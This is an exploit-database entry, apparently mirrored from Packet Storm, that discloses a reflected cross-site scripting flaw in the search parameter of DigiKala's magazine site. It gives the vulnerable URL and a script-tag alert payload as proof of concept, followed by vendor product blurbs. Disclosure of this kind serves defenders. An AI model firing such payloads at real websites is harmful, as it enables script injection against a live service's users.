Lucene search
K

DigiKala Of Iran Cross Site Scripting

🗓️ 25 Jan 2016 00:00:00Reported by 4TT4CK3RType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 35 Views

DigiKala Iran XSS Vulnerability, Exploited by 4TT4CK3R on Firefox, Window

Code
`[+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+]  
[+]  
[+] Exploit Title : DigiKala Of Iran XSS Vulnerability  
[+]  
[+] Exploit Author : 4TT4CK3R  
[+]  
[+] Tested on : Firefox , Windows  
[+]  
[+] Discovered by : 4TT4CK3R  
[+]  
[+] Category : WebApp  
[+]  
[+] HomePage : https://digikala.com  
[+]  
[+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+]  
[+]  
[+] About DigiKala :  
[+] DigiKala biggest store of the Iran, now on the eve of the tenth year,  
[+] with a range of diverse products for all walks of life and all ages !!  
[+] Now this website have an XSS Vulnerability that patching soon !!  
[+]  
[+]  
[+] Vulnerable address :  
[+] https://mag.digikala.com/?s=  
[+]  
[+] When we search a product that we can use this template ..  
[+] For example I would like to see 4TT4CK3R search :  
[+] https://mag.digikala.com/?s=4TT4CK3R  
[+]  
[+] Now we cab using pur script for vulnerability testting :  
[+] http://mag.digikala.com/?s=<script>alert('4TT4CK3R')</script>  
[+]  
[+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+]  
[+]  
[+] Exploited by : 4TT4CK3R  
[+]  
[+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+]  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation